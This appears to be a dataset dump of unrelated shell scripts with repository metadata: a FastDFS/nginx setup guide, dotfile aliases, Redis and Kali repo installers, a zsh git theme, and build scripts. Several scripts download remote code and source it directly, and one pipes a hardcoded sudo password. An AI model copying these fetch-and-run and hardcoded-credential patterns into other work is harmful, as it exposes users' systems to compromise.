# cd /usr/local/src/
# tar -zxvf nginx-1.6.2.tar.gz
# cd nginx-1.6.2
# ./configure --add-module=/usr/local/src/fastdfs-nginx-module/src
# cp /usr/local/src/fastdfs-nginx-module/src/mod_fastdfs.conf /etc/fdfs/
# vi /etc/fdfs/mod_fastdfs.conf
修改以下配置:
connect_timeout=10
base_path=/tmp
tracker_server=192.168.4.121:22122
storage_server_port=23000
group_name=group1
url_have_group_name = true
store_path0=/fastdfs/storage
9、复制 FastDFS 的部分配置文件到/etc/fdfs 目录
# cd /usr/local/src/FastDFS/conf
# cp http.conf mime.types /etc/fdfs/
10、在/fastdfs/storage 文件存储目录下创建软连接,将其链接到实际存放数据的目录
# ln -s /fastdfs/storage/data/ /fastdfs/storage/data/M00
11、配置 Nginx
简洁版 nginx 配置样例:
user root;
worker_processes 1;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 8888;
server_name localhost;
location ~/group([0-9])/M00 {
#alias /fastdfs/storage/data;
ngx_fastdfs_module;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}
} 注
意、 说明:
A、 8888 端口值是要与/etc/fdfs/storage.conf 中的 http.server_port=8888 相对应,
因为 http.server_port 默认为 8888,如果想改成 80,则要对应修改过来。
B、 Storage 对应有多个 group 的情况下,访问路径带 group 名,如/group1/M00/00/00/xxx,
对应的 Nginx 配置为:
location ~/group([0-9])/M00 {
ngx_fastdfs_module;
} C
、 如查下载时如发现老报 404, 将 nginx.conf 第一行 user nobody 修改为 user root 后重新启动。
12、防火墙中打开 Nginx 的 8888 端口
# vi /etc/sysconfig/iptables
添加:
-A INPUT -m state --state NEW -m tcp -p tcp --dport 8888 -j ACCEPT
# service iptables restart
13、启动 Nginx
# /usr/local/nginx/sbin/nginx
ngx_http_fastdfs_set pid=xxx
(重启 Nginx 的命令为: /usr/local/nginx/sbin/nginx -s reload)
14、通过浏览器访问测试时上传的文件
http://192.168.4.125:8888/group1/M00/00/00/wKgEfVUYNYeAb7XFAAVFOL7FJU4.tar.gz
七、FastDFS 的使用的 Demo 样例讲解与演示:
具体内容请参考样例代码和视频教程
注意: 千万不要使用 kill -9 命令强杀 FastDFS 进程,否则可能会导致 binlog 数据丢失
| true
|
e1b73e995fecc557be09898ccf6014b20da76409
|
Shell
|
SwannedLakee/dotfiles
|
/.aliases
|
UTF-8
| 1,548
| 3.359375
| 3
|
[
"MIT"
] |
permissive
|
#!/bin/bash
# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
if [ -r ~/.dircolors ]; then
eval "$(dircolors -b ~/.dircolors)"
else
eval "$(dircolors -b)"
fi
alias ls='ls --color=auto'
#alias dir='dir --color=auto'
#alias vdir='vdir --color=auto'
alias grep='grep --color=auto'
alias fgrep='fgrep --color=auto'
alias egrep='egrep --color=auto'
fi
# colored GCC warnings and errors
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'
# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'
# Add an "alert" alias for long running commands. Use like so:
# sleep 10; alert
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
alias pbcopy='xclip -selection clipboard'
alias pbpaste='xclip -selection clipboard -o'
# Enable aliases to be sudo’ed
alias sudo='sudo '
# IP addresses
alias pubip="dig +short myip.opendns.com @resolver1.opendns.com"
# use bat instead of cat
alias cat='bat'
# use ripgrep (rg) instead of grep
alias grep='rg'
# copy file interactive
alias cp='cp -i'
# move file interactive
alias mv='mv -i'
# work ssh
alias wssh='cd $HOME/Documents/sil/repos/playbooks && ssh -F ./ssh.cfg'
# work scp
alias wscp='cd $HOME/Documents/sil/repos/playbooks && scp -F ./ssh.cfg'
# work sftp
alias wsftp='cd $HOME/Documents/sil/repos/playbooks && sftp -F ./ssh.cfg'
| true
|
80d16be6f7a110303a4de3b292babbadac569703
|
Shell
|
sduthil/debian-derivatives-census
|
/bin/aggregate-planet-heads
|
UTF-8
| 592
| 3.765625
| 4
|
[] |
no_license
|
#!/bin/sh
# Copyright 2012 Paul Wise
# Released under the MIT/Expat license, see doc/COPYING
# Aggregates all the derivatives' logo heads into one dir.
#
# Usage:
# aggregate-planet-heads <derivatives> <heads directory>
set -e
while test $# -gt 1; do
derivatives="$derivatives $1"
shift
done
heads="$1"
mkdir -p "$heads"
for d in $derivatives ; do
if [ -d $d -a -s $d/status ] ; then
if [ $( cat $d/status ) != active ] ; then
continue
fi
fi
if [ -e "$d/planet-head" ] ; then \
ln --symbolic --force "../$d/planet-head" "$heads/$d"
else
rm --force "$heads/$d"
fi
done
| true
|
42f854e5f3faabcc07c6aaf9f763304da41d91dd
|
Shell
|
GeoGateway/GPS_Scripts
|
/deploy/srv/server/start_server_mongo.sh
|
UTF-8
| 1,524
| 3.125
| 3
|
[] |
no_license
|
#!/bin/bash
echo "***********************************"
echo "Installing pre requisites"
echo "***********************************"
pip install -r requirements.txt
echo
echo
echo "***********************************"
echo "Not Starting MongoDB"
echo "***********************************"
#sudo service mongod start
echo
echo
echo "***********************************"
echo "Changing permissions to Executables"
echo "***********************************"
cd /root/GPS_Scripts/deploy/srv/GPS_Scripts/RDAHMM
chmod -R 777 rdahmm3
echo
echo
echo "***********************************"
echo "Creating virtual environment"
echo "***********************************"
cd ..
virtualenv flask-mongo --no-site-packages
echo
echo
echo "***********************************"
echo "Enabling virtual environment"
echo "***********************************"
source flask-mongo/bin/activate
# alias activate=". flask/bin/activate"
echo
echo
echo "***********************************"
echo "Installing server prerequisites"
echo "***********************************"
pip install -r requirements-server-mongo.txt
echo
echo
echo "***********************************"
echo "Starting server"
echo "***********************************"
echo "Check if the service has started by typing or pasting following command in a new terminal"
echo curl "http://localhost:5000/GPS_UNR_SPLICE/time_series?lat_min=&lat_max=&lon_min=&lon_max=&year=2013&month=6&day=18"
echo "Should display a json file giving data for USA"
python start_server_mongo.py
| true
|
0e45cfbcad9cadde32f5594cb2593c6187cc6f66
|
Shell
|
sandkoan/shell-color-scripts
|
/colorscripts/emwave
|
UTF-8
| 410
| 3.21875
| 3
|
[] |
no_license
|
#!/usr/bin/env bash
# by ilya144
s="/\\/\\/\\/\\/\\"
s=$s$s$s$s$s$s$s$s
echo ""
for colnum in {0..75}; do
r=$[255-(colnum*255/76)]
g=$[colnum*512/76]
b=$[colnum*255/76]
if (( $g > 255 )); then
g=$[510 - g]
fi
rr=$[255-r]
gg=$[255-g]
bb=$[255-b]
printf "\033[48;2;%d;%d;%dm" $r $g $b
printf "\033[38;2;%d;%d;%dm" $rr $gg $bb
printf "%s\033[0m" $(echo -n ${s:colnum:1})
done
echo ""
echo ""
| true
|
ca023c5b91d71f6f51b429e61b5ddd572cd52678
|
Shell
|
Gazmatem/Sistemas-Operativos
|
/ProgramasSO/Practica02/Programa3/aver.sh
|
UTF-8
| 226
| 2.71875
| 3
|
[] |
no_license
|
#!/bin/bash
#Buscas la informacion sobre archios en uso de la direccion modify /var/log y los imprimes en pantalla.
inotifywait -r -m -e modify /var/log |
while read path _ file; do
echo $path$file modified
done
| true
|
f6ebe5656eb8c59099c471c73770483e8772a51d
|
Shell
|
oslr/bitrise-step-corber-build
|
/step.sh
|
UTF-8
| 1,649
| 3.53125
| 4
|
[
"MIT"
] |
permissive
|
#!/bin/bash
set -ex
# echo "This is the value specified for the input 'example_step_input': ${example_step_input}"
cd ${app_dir}
VERSION=`cat app.version`.`date '+%y%m%d%H%M'`
# Update version in config.xml
sed -i '' -e "s/0.0.12345/$VERSION/g" "corber/cordova/config.xml"
########################################################################################
# iOS Deployment
########################################################################################
# corber platform add ios@4.5.5
# Currently not working for 5.0.x, issue raised here: https://github.com/apache/cordova-ios/issues/625
corber platform add ios
# corber platform add https://github.com/apache/cordova-ios#0072977e4f173f77867f97ae7ace8af73f8f5dd4
corber build --platform ios --environment cordova --release --build-config "corber/cordova/build.json"
#
# --- Export Environment Variables for other Steps:
# You can export Environment Variables for other Steps with
# envman, which is automatically installed by `bitrise setup`.
# A very simple example:
envman add --key EXAMPLE_STEP_OUTPUT --value 'Test output...'
# Envman can handle piped inputs, which is useful if the text you want to
# share is complex and you don't want to deal with proper bash escaping:
# cat file_with_complex_input | envman add --KEY EXAMPLE_STEP_OUTPUT
# You can find more usage examples on envman's GitHub page
# at: https://github.com/bitrise-io/envman
#
# --- Exit codes:
# The exit code of your Step is very important. If you return
# with a 0 exit code `bitrise` will register your Step as "successful".
# Any non zero exit code will be registered as "failed" by `bitrise`.
| true
|
2e8ed1859795d2954a5928662f7dd24488de33b6
|
Shell
|
Frozen-Team/summercamp
|
/migrate.sh
|
UTF-8
| 2,308
| 4.0625
| 4
|
[] |
no_license
|
#!/bin/bash
RED='\033[0;31m'
NC='\033[0m'
source database/migrate.conf
MODE="dev"
usage="./$(basename "$0") [-h|--help] [<migration_action>] [-m|--mode <mode>] -- the script to apply migrations to the specified db
where:
-h|--help show this info
<migration_action> is one of the following: rollback, reset or refresh. If this is empty, simple 'bee migrate' is executed
-m|--mode specifies the database type. <mode> is one of the following: test, dev, prod. According to
the specified value, the correct connection string is being chosen.
If this is empty, the dev database is used
"
# maybe some other commands will appear, so to not mess up with SUBCMD, this case is separated from the next one
function error {
>&2 echo -e $RED$1$NC
exit
}
for i in $@
do
case $i in
-h|--help)
echo "$usage"
exit
;;
esac
done
# check rollback
case $1 in
rollback)
SUBCMD="rollback"
;;
reset)
SUBCMD="reset"
;;
refresh)
SUBCMD="refresh"
;;
"")
SUBCMD=""
;;
*)
# Checking if it's not a key
if [[ $1 != \-* ]];
then
error "Unknown command '$1'"
fi
esac
while [[ $# -gt 1 ]]
do
key="$1"
case $key in
-m|--mode)
MODE="$2"
shift # past argument
;;
esac
shift
done
case $MODE in
dev)
DSN=$dsn_dev
;;
prod)
DSN=$dsn_prod
;;
test)
DSN=$dsn_test
;;
travis)
DSN=$dsn_travis
;;
*)
error "Unknown mode"
;;
esac
if [ -z "$GOPATH" ]; then
error "GOPATH variable not set. Migration aborted."
fi
if [ ! -x $GOPATH/bin/bee ]; then
echo -e "${RED}Bee not found in GOPATH.${NC}"
echo -e "Installing bee to continue..."
go get github.com/beego/bee
if [ ! -x $GOPATH/bin/bee ]; then
echo -e "${RED}Unable to install github.com/beego/bee${NC}"
echo -e "You should install bee manually: go get github.com/beego/bee to run migration via bee${NC}"
exit 1
fi
fi
echo "Running bee migrate $SUBCMD -driver="$driver" -conn="$driver://$DSN""
bee migrate $SUBCMD -driver="$driver" -conn="$driver://$DSN"
| true
|
38a6dfdf2d701ff1837e03c1c22b1410e6783667
|
Shell
|
gaurankgoyal/Redis-Cluster-Docker-Compose
|
/run.sh
|
UTF-8
| 1,012
| 4.03125
| 4
|
[] |
no_license
|
#!/bin/bash
set -e
request=$1
if [ "$request" == "CREATE" -o "$request" == "DESTROY" ]
then
case $request in
CREATE)
echo "------CREATING REDIS CLUSTER-------"
sleep 2
echo `docker-compose -f redis_cluster/docker-compose.yml up -d`
echo "----------CLUSTER DETAILS----------"
sleep 10
docker exec redis-node-1 redis-cli cluster nodes > cluster_info.txt
CAT cluster_info.txt
echo "----------------DONE---------------"
;;
DESTROY)
echo "DESTROYING CLUSTER"
echo `docker-compose -f redis_cluster/docker-compose.yml down`
echo "DELETE VOLUMES"
VOLUMES=`docker volume ls | grep "redis-cluster_data-" | awk '{print $2}'`
docker volume rm $VOLUMES
;;
esac
else
echo "ERROR"
tput setaf 1; echo "#Inavlid Usage #"
tput setaf 1; echo "#Correct Usage as below:#"
tput setaf 1; echo "run.sh <INPUT_PARAMETER>"
tput setaf 1; echo "valid values for <INPUT_PARAMETER> are CREATE and DESTORY"
tput setaf 7;
fi
| true
|
aefa8ea13563ac96a22ddd50d58df04d4ffecf2f
|
Shell
|
msifland/scripts
|
/kali-repo-install
|
UTF-8
| 1,856
| 3.625
| 4
|
[] |
no_license
|
#!/bin/bash
# This is a bash script.
# Put your description below this line and code below that.
#
echo "spike" | sudo -S -v
echo
echo "${ILCOLOR3}This will install the kali-rolling repo to your system."
sleep 1
YEAR=$(date +"%Y")
SOURCES="/etc/apt/sources.list"
KALI_ADDR="https://http.kali.org/kali/pool/main/k/kali-archive-keyring/"
KALI_FILE="kali-archive-keyring_$YEAR.1_all.deb"
echo
echo "${ILCOLOR3}Adding repos to${ILRESTORE} $SOURCES. . ."
echo
sleep 1
# Removing all white space from end of file.
sudo sed -i -e :a -e '/^\n*$/{$d;N;};/\n$/ba' $SOURCES
echo -e "\n" | sudo tee -a $SOURCES
echo "${ILCOLOR3}echo${ILRESTORE} ###Kali linux repos(for hacking tools) | sudo tee -a $SOURCES"
echo "###Kali linux repos(for hacking tools)" | sudo tee -a $SOURCES
echo
sleep 3
echo "${ILCOLOR3}echo${ILRESTORE} deb [signed-by=/usr/share/keyrings/kali-archive-keyring.gpg] http://http.kali.org/kali/ kali-rolling main non-free contrib | sudo tee -a $SOURCES"
echo "deb [signed-by=/usr/share/keyrings/kali-archive-keyring.gpg] http://http.kali.org/kali/ kali-rolling main non-free contrib" | sudo tee -a $SOURCES
echo
sleep 3
echo "${ILCOLOR3}echo${ILRESTORE} deb-src [signed-by=/usr/share/keyrings/kali-archive-keyring.gpg] http://http.kali.org/kali/ kali-rolling main non-free contrib | sudo tee -a $SOURCES"
echo "deb-src [signed-by=/usr/share/keyrings/kali-archive-keyring.gpg] http://http.kali.org/kali/ kali-rolling main non-free contrib" | sudo tee -a $SOURCES
echo
sleep 3
echo
echo "${ILCOLOR3}Adding trusted key to /usr/share/keyrings. . .${ILRESTORE}"
sleep 1
echo "${ILCOLOR3}Getting file${ILRESTORE} $KALI_ADDR$KALI_FILE. . ."
sleep 1
if [[ ! -d "$HOME/Downloads" ]]; then
mkdir "$HOME/Downloads"
fi
cd $HOME/Downloads
wget $KALI_ADDR$KALI_FILE
echo "${ILCOLOR3}Installing $KALI_FILE${ILRESTORE}"
sudo dpkg -i $HOME/Downloads/$KALI_FILE
| true
|
1feac56f3e63568c6cee54e5aeffbac81f1693ac
|
Shell
|
Goldie643/sukap_starter_kit
|
/mcwit/process_file_multi_multi.sh
|
UTF-8
| 623
| 3.21875
| 3
|
[] |
no_license
|
# $1 is mrg file
# $2 is prefix of the .root files (filename up to numbers)
# First number is variation in energy
# Second is variation in file
export mcwit_dir=/disk01/usr4/goldsack/mcwit/
export card_file=${mcwit_dir}$2
export process_file=${mcwit_dir}/src/process_file
# n_files=`ls -dq *${2}*_01 | wc -l`
echo "Number of spreads of files?"
read n_files
n_digits=`echo "${#n_files}"`
for i in $(seq 1 $n_files)
do
in_file_prefix=`printf "%0${n_digits}d" $i`
echo $in_file_prefix
export in_file_prefix="$2${in_file_prefix}_"
echo $in_file_prefix
bash process_file_multi.sh $1 $in_file_prefix
done
| true
|
1145f2a2a1fce6d425f064b2d7ff037a58fa78e1
|
Shell
|
shylinux/intshell
|
/index.sh
|
UTF-8
| 2,676
| 3.4375
| 3
|
[
"MIT"
] |
permissive
|
#!/bin/sh
export ctx_dev=${ctx_dev:="https://shylinux.com"}
_down_big_file() {
[ -f "$1" ] && return; echo "download $ctx_dev/$2"
if curl -h &>/dev/null; then curl -o $1 -fL "$ctx_dev/$2?pod=$ctx_pod"; else wget -O $1 "$ctx_dev/$2?pod=$ctx_pod"; fi
}
_down_file() {
if curl -h &>/dev/null; then curl -o $1 -fsSL "$ctx_dev/$2"; else wget -O $1 -q "$ctx_dev/$2"; fi
}
_temp_file() {
local temp=$(mktemp) && _down_file $temp $1 && shift && source $temp "$@"
}
prepare_script() {
_temp_file plug.sh && require conf.sh
}
prepare_system() {
case "$(uname)" in
Darwin) xcode-select --install 2>/dev/null ;;
Linux)
if cat /etc/os-release|grep alpine &>/dev/null; then
sed -i 's/dl-cdn.alpinelinux.org/mirrors.tencent.com/g' /etc/apk/repositories && apk update
TZ=Asia/Shanghai; apk add tzdata && cp /usr/share/zoneinfo/${TZ} /etc/localtime && echo ${TZ} > /etc/timezone
git version &>/dev/null || apk add git
go version &>/dev/null || apk add go
return
fi
if cat /etc/os-release|grep "CentOS-8"&>/dev/null; then
minorver=8.5.2111; sed -e "s|^mirrorlist=|#mirrorlist=|g" -e "s|^#baseurl=http://mirror.centos.org/\$contentdir/\$releasever|baseurl=https://mirrors.aliyun.com/centos-vault/$minorver|g" -i.bak /etc/yum.repos.d/CentOS-*.repo && yum update -y
git version &>/dev/null || yum install -y git
go version &>/dev/null || yum install -y go
return
fi
;;
esac
}
prepare_ice() {
local bin="ice"
case `uname -s` in
Darwin) bin=${bin}.darwin ;;
Linux) bin=${bin}.linux ;;
*) bin=${bin}.windows ;;
esac
case `uname -m` in
mips) bin=${bin}.mipsle ;;
x86_64) bin=${bin}.amd64 ;;
arm64) bin=${bin}.amd64 ;;
arm*|aarch64) bin=${bin}.arm ;;
*) bin=${bin}.386 ;;
esac
local file=bin/ice.bin; [ -e bin ] || mkdir bin
_down_big_file $file publish/$bin && chmod u+x $file; [ -f $file ]
}
prepare_reload() {
local temp=$(mktemp); if curl -V &>/dev/null; then curl -o $temp -fsSL $ctx_dev; else wget -O $temp -q $ctx_dev; fi && source $temp $ctx_mod
}
main() {
case "$1" in
binary)
shift && prepare_ice && bin/ice.bin forever start dev "" "$@"
;;
source)
prepare_system && git clone https://shylinux.com/x/contexts
shift && cd contexts && source etc/miss.sh "$@"
;;
intshell)
[ -f $PWD/.ish/plug.sh ] && source $PWD/.ish/plug.sh && return
[ -f $HOME/.ish/plug.sh ] && source $HOME/.ish/plug.sh && return
prepare_system; git clone https://shylinux.com/x/intshell $PWD/.ish
source $PWD/.ish/plug.sh; require conf.sh; require miss.sh
;;
*)
prepare_script; if echo $1|grep ".sh$" &>/dev/null; then require "$@"; else require src/main.sh "$@"; fi
;;
esac
}
main "$@"
| true
|
d2d4bf4816b5db2db55c4ab9a7d270b22916eea2
|
Shell
|
justin8/puppet
|
/modules/jenkins/files/old/makechrootpkg-jenkins
|
UTF-8
| 922
| 3.640625
| 4
|
[] |
no_license
|
#!/bin/bash
set -e
set -x
[[ "$USER" == "root" ]] && copy=copy || copy=$USER
[[ -n "$SUDO_USER" ]] && copy=$SUDO_USER
[[ -n "$1" ]] && copy=${copy}-${1}
copydir="/chroot/$copy"
ROOTLOCK="/chroot/root.lock"
LOCK="${copydir}.lock.jenkins"
[[ $EUID != 0 ]] && echo "You must run this as root!" && exit 1
(
if ! flock -xn 200
then
echo "Failed to obtain lock $LOCK. Aborting..."
exit 1
fi
echo "Updating original chroot..."
(
if ! flock -xw 300 201
then
echo "Failed to obtain lock $ROOTLOCK. Aborting..."
exit 1
fi
while ! ionice arch-nspawn /chroot/root pacman -Syu --noconfirm; do sleep 5; done
) 201>$ROOTLOCK
echo "Beginning build..."
count=0
while [[ $count -lt 5 ]]
do
ionice makechrootpkg -c -l "$copy" -r /chroot -- -A -f 2>&1 | tee out
if grep 'invalid or corrupted package' out
then
count=$((count+1))
echo "Failed $count times!"
else
break
fi
done
) 200>"$LOCK"
| true
|
5e309ed81f99047c8d39d803bf4b4a6bca3fab25
|
Shell
|
PRL-PRG/promise-dyntracing-experiment
|
/old-analysis/concat_functions.sh
|
UTF-8
| 2,087
| 3.9375
| 4
|
[] |
no_license
|
#!/bin/bash
function generate_sql {
DATA_FILES=$@
#union=
#cleanup=
first=true
echo ".echo on"
echo ".bail on"
echo
echo "pragma journal_mode = off;"
echo
for file in $DATA_FILES
do
package=$(basename "$file" .sqlite | tr '.-' '__')
echo "attach '$file' as $package;"
if $first
then
echo "create temporary table temp_functions as select * from ${package}.functions;"
first=false
else
echo "insert into temp_functions select * from ${package}.functions;"
fi
echo "detach $package;"
echo
#if [ -n "$union" ]
#then
# union="$union\n union"
#fi
#union="$union select * from temp_${package}_functions"
#if [ -n "$cleanup" ]
#then
# cleanup="$cleanup\n"
#fi
#cleanup="${cleanup}drop table temp_${package}_functions;"
done
echo "begin transaction;"
#echo -e "create table functions as select * from (\n $union);"
echo -e "create table functions as select distinct id, location, definition, type from temp_functions;" # silently drop column 'compiled'
echo
#echo -e "$cleanup"
echo -e "drop table temp_functions;"
echo "commit;"
}
INPUT_DBS="$1/data/*.sqlite"
OUTPUT_DIR="$1/data/_all"
OUTPUT_DB="$OUTPUT_DIR/functions.sqlite"
if [ $(ls $(dirname $INPUT_DBS) | wc -l) -eq 0 ]; then
echo "No sqlite files supplied to concatenate. Qutting."
exit 1
fi
if mkdir -p $OUTPUT_DIR; then :
else
echo "Cannot create dir $OUTPUT_DIR. Quitting."
exit 2
fi
if [ -e $OUTPUT_DB ]; then
echo "Warning: file $OUTPUT_DB already exists and will be truncated."
rm "$OUTPUT_DB" || exit 3
fi
good_sqlites=
for sqlite in $1/data/*.sqlite
do
ok="$1/data/`basename $sqlite .sqlite`.OK"
#echo $ok
if [ -e $ok ]
then
good_sqlites="$good_sqlites$sqlite "
else
echo "omitting $sqlite" >&2
fi
done
#echo $good_sqlites
generate_sql "$1/data/*.sqlite" | sqlite3 "$OUTPUT_DB"
| true
|
5f8024a6a147b21ad2f7fc817ac6052376e01281
|
Shell
|
Matthew-Smith/agitnoster-theme
|
/agitnoster.zsh-theme
|
UTF-8
| 6,419
| 3.6875
| 4
|
[] |
no_license
|
# vim:ft=zsh ts=2 sw=2 sts=2
#
# agnoster's Theme - https://gist.github.com/3712874
# A Powerline-inspired theme for ZSH
#
# # README
#
# In order for this theme to render correctly, you will need a
# [Powerline-patched font](https://gist.github.com/1595572).
#
# In addition, I recommend the
# [Solarized theme](https://github.com/altercation/solarized/) and, if you're
# using it on Mac OS X, [iTerm 2](http://www.iterm2.com/) over Terminal.app -
# it has significantly better color fidelity.
#
# # Goals
#
# The aim of this theme is to only show you *relevant* information. Like most
# prompts, it will only show git information when in a git working directory.
# However, it goes a step further: everything from the current user and
# hostname to whether the last call exited with an error to whether background
# jobs are running in this shell will all be displayed automatically when
# appropriate.
### Segment drawing
# A few utility functions to make it easy and re-usable to draw segmented prompts
CURRENT_BG='NONE'
() {
local LC_ALL="" LC_CTYPE="en_US.UTF-8"
# NOTE: This segment separator character is correct. In 2012, Powerline changed
# the code points they use for their special characters. This is the new code point.
# If this is not working for you, you probably have an old version of the
# Powerline-patched fonts installed. Download and install the new version.
# Do not submit PRs to change this unless you have reviewed the Powerline code point
# history and have new information.
# This is defined using a Unicode escape sequence so it is unambiguously readable, regardless of
# what font the user is viewing this source code in. Do not replace the
# escape sequence with a single literal character.
# Do not change this! Do not make it '\u2b80'; that is the old, wrong code point.
SEGMENT_SEPARATOR=$'\uE0B0'
}
# Begin a segment
# Takes two arguments, background and foreground. Both can be omitted,
# rendering default background/foreground.
prompt_segment() {
local bg fg
[[ -n $1 ]] && bg="%K{$1}" || bg="%k"
[[ -n $2 ]] && fg="%F{$2}" || fg="%f"
if [[ $CURRENT_BG != 'NONE' && $1 != $CURRENT_BG ]]; then
echo -n " %{$bg%F{$CURRENT_BG}%}$SEGMENT_SEPARATOR%{$fg%} "
else
echo -n "%{$bg%}%{$fg%} "
fi
CURRENT_BG=$1
[[ -n $3 ]] && echo -n $3
}
# End the prompt, closing any open segments
prompt_end() {
if [[ -n $CURRENT_BG ]]; then
echo -n " %{%k%F{$CURRENT_BG}%}$SEGMENT_SEPARATOR"
else
echo -n "%{%k%}"
fi
echo -n "\n> %{%f%}"
CURRENT_BG=''
}
### Prompt components
# Each component will draw itself, and hide itself if no information needs to be shown
# Context: use random emoji
prompt_context() {
# Custom (Random emoji)
emojis=("🍻" "🦄" "🎉" "🤖" "🦖" "🌎" "🌶" "🎮")
RAND_EMOJI_N=$(( $RANDOM % ${#emojis[@]} + 1))
prompt_segment black default "${emojis[$RAND_EMOJI_N]} "
}
# Git
all_lines() {
echo "$1" | grep -v "^$" | wc -l ;
}
count_lines() {
echo "$1" | egrep -c "^$2" ;
}
git_details() {
gitstatus=`git diff --name-status 2>&1`
staged_files=`git diff --staged --name-status`
changed=$(( `all_lines "$gitstatus"` - `count_lines "$gitstatus" U` - `count_lines "$gitstatus" D`))
conflict=`count_lines "$staged_files" U`
deleted=$(( `all_lines "$gitstatus"` - `count_lines "$gitstatus" U` - `count_lines "$gitstatus" M` ))
staged=$(( `all_lines "$staged_files"` - num_conflicts ))
stashed=`git stash list | wc -l | sed -e 's/^[ \t]*//'`
untracked=`git status -s -uall | grep -c "^??"`
if [[ $staged -ne "0" ]]; then
prompt_segment green white
echo -n "🚀 ${staged}"
fi
if [[ $untracked -ne "0" ]]; then
prompt_segment blue white
echo -n "💡 ${untracked}"
fi
if [[ $deleted -ne "0" ]]; then
prompt_segment red white
echo -n "🔥 ${deleted}"
fi
if [[ $changed -ne "0" ]]; then
prompt_segment magenta white
echo -n "🔧 ${changed}"
fi
if [[ $stashed -ne "0" ]]; then
prompt_segment cyan white
echo -n "📌 ${stashed}"
fi
if [[ $conflict -ne "0" ]]; then
prompt_segment red white
echo -n "🌋 ${conflict}"
fi
}
git_branch_diff() {
branch=`git symbolic-ref HEAD | sed -e 's/refs\/heads\///g'`
remote_name=`git config branch.${branch}.remote`
if [[ -n "$remote_name" ]]; then
merge_name=`git config branch.${branch}.merge`
else
remote_name='origin'
merge_name="refs/heads/${branch}"
fi
if [[ "$remote_name" == '.' ]]; then
remote_ref="$merge_name"
else
remote_ref="refs/remotes/$remote_name/${branch}"
fi
if [[ `git remote 2>/dev/null | wc -l` -ne "0" ]]; then
revgit=`git rev-list --left-right ${remote_ref}...HEAD`
revs=`all_lines "$revgit"`
ahead=`count_lines "$revgit" "^>"`
behind=$(( revs - ahead ))
if [[ $ahead -ne "0" ]]; then
echo -n "·\u2B06 ${ahead}"
fi
if [[ $behind -ne "0" ]]; then
echo -n "·\u2B07 ${behind}"
fi
fi
}
# Git: branch/detached head, dirty status
prompt_git() {
local ref dirty
if $(git rev-parse --is-inside-work-tree >/dev/null 2>&1); then
ZSH_THEME_GIT_PROMPT_DIRTY='±'
dirty=$(parse_git_dirty)
ref=$(git symbolic-ref HEAD 2> /dev/null) || ref="➦ $(git show-ref --head -s --abbrev |head -n1 2> /dev/null)"
if [[ -n $dirty ]]; then
prompt_segment yellow black
else
prompt_segment green black
fi
echo -n "${ref/refs\/heads\//\uE0A0 }"
git_branch_diff
git_details
fi
}
# Dir: current working directory
prompt_dir() {
prompt_segment blue white '%~'
}
# Virtualenv: current working virtualenv
prompt_virtualenv() {
local virtualenv_path="$VIRTUAL_ENV"
if [[ -n $virtualenv_path && -n $VIRTUAL_ENV_DISABLE_PROMPT ]]; then
prompt_segment blue black "(`basename $virtualenv_path`)"
fi
}
# Status:
# - was there an error
# - am I root
# - are there background jobs?
prompt_status() {
local symbols
symbols=()
[[ $RETVAL -ne 0 ]] && symbols+="%{%F{red}%}\u2718" || symbols+="%{%F{green}%}\u2714"
[[ $UID -eq 0 ]] && symbols+="%{%F{yellow}%}\u26A1"
[[ $(jobs -l | wc -l) -gt 0 ]] && symbols+="%{%F{cyan}%}\u2699"
[[ -n "$symbols" ]] && prompt_segment black default "$symbols"
}
## Main prompt
build_prompt() {
RETVAL=$?
prompt_virtualenv
prompt_status
prompt_context
prompt_dir
prompt_git
prompt_end
}
PROMPT='%{%f%b%k%}$(build_prompt) '
| true
|
653242eff8906b2606b3a1d07d63bc91bf2948b6
|
Shell
|
matrob/SkiffOS
|
/configs/intel/desktop/scripts/install_disk.sh
|
UTF-8
| 2,183
| 3.953125
| 4
|
[
"MIT"
] |
permissive
|
#!/bin/bash
set -eo pipefail
if [ $EUID != 0 ]; then
echo "This script requires sudo, so it might not work."
fi
if [ -z "$INTEL_DESKTOP_PATH" ]; then
echo "Please set INTEL_DESKTOP_PATH and try again."
exit 1
fi
if [ ! -d "$INTEL_DESKTOP_PATH" ]; then
echo "$INTEL_DESKTOP_PATH is not a directory or doesn't exist."
exit 1
fi
outp_path="${BUILDROOT_DIR}/output"
images_path="${outp_path}/images"
dest_dir="${INTEL_DESKTOP_PATH}"
img_path="${images_path}/bzImage"
uinit_path="${images_path}/rootfs.cpio.uboot"
dtb_path=$(find ${images_path}/ -name '*.dtb' -print -quit)
if [ ! -f "$img_path" ]; then
img_path=$zimg_path
fi
if [ ! -f "$img_path" ]; then
echo "bzImage not found, make sure Buildroot is done compiling."
exit 1
fi
mounts=()
WORK_DIR=`mktemp -d -p "$DIR"`
# deletes the temp directory
function cleanup {
sync || true
for mount in "${mounts[@]}"; do
echo "Unmounting ${mount}..."
umount $mount || true
done
mounts=()
if [ -d "$WORK_DIR" ]; then
rm -rf "$WORK_DIR" || true
fi
}
trap cleanup EXIT
# Collect skiff-release information
skiff_release_path="${images_path}/skiff-release"
if [ ! -f "$skiff_release_path" ]; then
echo "skiff-release not found, make sure Buildroot is done compiling."
exit 1
fi
skiff_release=$(cat $skiff_release_path | grep "VERSION=" | cut -d= -f2)
echo "Copying kernel image..."
sync
rsync -rav --no-perms --no-owner --no-group $img_path $dest_dir/bzImage-${skiff_release}
sync
echo "Copying uInitrd..."
rsync -rav --no-perms --no-owner --no-group $uinit_path $dest_dir/unitrd-${skiff_release}
sync
if [ -d "$outp_path/images/rootfs_part" ]; then
echo "Copying rootfs_part to output opt/skiff-rootfs..."
mkdir -p $dest_dir/opt/skiff-rootfs/
rsync -rav --no-perms --no-owner --no-group $outp_path/images/rootfs_part/ $dest_dir/opt/skiff-rootfs/
sync
fi
if [ -d "$outp_path/images/persist_part" ]; then
echo "Copying persist_part..."
rsync -rav --no-perms --no-owner --no-group $outp_path/images/persist_part/ $dest_dir/
sync
fi
if [ -n "${dtb_path}" ]; then
echo "Copying device tree..."
